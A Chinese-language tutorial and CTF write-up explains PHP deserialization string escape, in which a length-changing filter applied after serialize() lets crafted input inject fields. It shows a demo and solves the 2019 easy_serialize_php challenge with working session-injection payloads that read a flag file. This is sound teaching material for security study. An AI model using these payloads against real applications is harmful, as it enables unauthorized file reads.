PHP反序列化字符逃逸
问题描述
代码对序列化后的字符串进行修改,如果修改导致字符串长度发生变化,那么在反序列化的时候可能会产生漏洞。
举个例子
<?php
function filter($str)
{
return str_replace('b', 'cc', $str);
}
class A
{
public $name = 'user';
public $pass = '123456';
}
$AA = new A();
echo serialize($AA)."\n";
$res = filter(serialize($AA)); # 漏洞点
$c = unserialize($res);
echo $c->pass;
?>
代码会使用filter函数对序列化后的字符串进行修改,将'b'替换为'cc'。这一替换将会对序列化的字符串长度产生影响,进而产生一些意外的错误。
现在利用这个错误,通过修改A中name的值,间接修改反序列化后pass的值。
这里所要理解的是,由于序列化字符串中的'b'会被替换为'cc',长度变长了,而序列化字符串中每一个属性长度的值不会变化,那我们就可以在name输入很多'b'来把构造的字符串“挤”出来。
# 原始序列化的字符串
O:1:"A":2:{s:4:"name";s:4:"user";s:4:"pass";s:6:"123456";}
# 修改name为'buser',name属性的长度由5->6,'r'被挤了出来
O:1:"A":2:{s:4:"name";s:5:"ccuser";s:4:"pass";s:6:"123456";}
利用这个特性,修改$name='bbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}',这里我们用27个'b'将后面的";s:4:"pass";s:6:"hacker";}给挤了出来,达到了一种修改pass值的同时提前用 ;}闭合序列化字符串的效果。
这样在经过filter函数处理后,序列化字符串变成了这样:

而pass也被修改为'hacker'

[安洵杯 2019]easy_serialize_php
充满回忆的题,充满回忆的人。
题目可以直接查看源码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
通过phpinfo可以知道flag所在文件为d0g3_f1ag.php,而读取的方法则是通过file_get_contents(base64_decode($userinfo['img']))。
虽然可以通过extract($_POST);修改$_SESSION数组,但是$userinfo['img']显然是无法直接修改的。
但$_SESSION["user"]和$_SESSION["function"]是可控的,结合这里filter会对序列化字符串的修改,所以可以间接修改$_SESSION["img"]。
虽然这里不像之前的例子中可以修改一个属性的值来挤出一个属性,但可以修改两个属性,用前面的属性吞掉后面的一部分。构造的方法:
$_SESSION["user"] = 'fl1gfl1gfl1gfl1gfl1gphp';
$_SESSION['function'] = '";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:"1";}';

可以控制读取文件后,后面flag自然就可以读到了。
ps.extract修改数组的方式:_SESSION[user]=xxxxxxx
参考链接
https://blog.csdn.net/qq_45521281/article/details/107135706